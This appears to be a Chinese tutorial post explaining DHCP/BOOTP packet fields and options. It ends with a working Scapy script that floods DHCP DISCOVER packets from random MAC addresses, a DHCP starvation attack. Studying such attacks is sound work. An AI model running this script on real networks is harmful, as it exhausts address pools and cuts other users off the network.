DCHP知識鋪墊
DHCP
動態主機設置協議(英語:Dynamic Host Configuration Protocol,縮寫:DHCP)是一個局域網的網絡協議,使用UDP協議工作
BOOTP
BOOTP(Bootstrap Protocol,引導程序協議)是一種引導協議,基於IP/UDP協議,也稱自舉協議,是DHCP協議的前身。
關係
-
DHCP 是BOOTP 的增強版本都是基於TCP/IP協議的協議
-
DHCP的消息格式是基於BOOTP的消息格式的
報文部分字段
- op:消息操作代碼
- 1 客戶端請求報文(BOOTREQUEST)
- 2 服務器響應報文(BOOTREPLY)
- xid:事務ID,由客戶端選擇的一個隨機數,被服務器和客戶端用來在它們之間交流請求和響應
- chaddr:客戶端MAC地址
- option:選項字段
常見option選項
Option id | name | 描述 |
---|---|---|
1 | Subnet Mask | 子網掩碼 |
3 | Router | 網關 |
6 | DNS Server | DNS服務器 |
51 | IP address lease time | IP地址租期 |
53 | Message type | 消息類型 |
54 | DHCP Server Identifier | DHCP服務器身份 |
IP請求中的Message type:
- 1 DHCP發現(DISCOVER)
- 2 DHCP提供(OFFER)
- 3 DHCP請求(REQUEST)
- 5 DHCP確認(Acknowledge,ACK)
DHCP耗盡攻擊
不斷的發送DHCP Dscover
來向DHCP服務器請求IP地址,導致地址池耗盡,對網絡造成破壞
詳見:
數據包分析
DHCP 服務器: 192.168.1.1
地址池:192.168.1.100-200
Ether
- src:
本機mac
- dst:
ff:ff:ff:ff:ff:ff
廣播地址
IP
- src:
0.0.0.0
UDP
- src port:
68
- dst port:
67
DHCP
-
chaddr:
本機mac
-
option:
53 Discover
編寫腳本
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from scapy.all import (
Ether,
RandMAC,
IP,
UDP,
BOOTP,
DHCP,
sendp
)
import random
def dhcp_discover(iface):
while 1:
xid_random = random.randint(1, 900000000)
mac_random = str(RandMAC())
dhcp_discover = (Ether(src=mac_random,dst='ff:ff:ff:ff:ff:ff')/
IP(src='0.0.0.0',dst='255.255.255.255')/
UDP(sport=68,dport=67)/
BOOTP(chaddr=mac_random,xid=xid_random,flags=0x8000)/
DHCP(options=[('message-type','discover')]
))
sendp(dhcp_discover,iface=iface)
if __name__ == '__main__':
iface = 'eth0'
dhcp_discover(iface)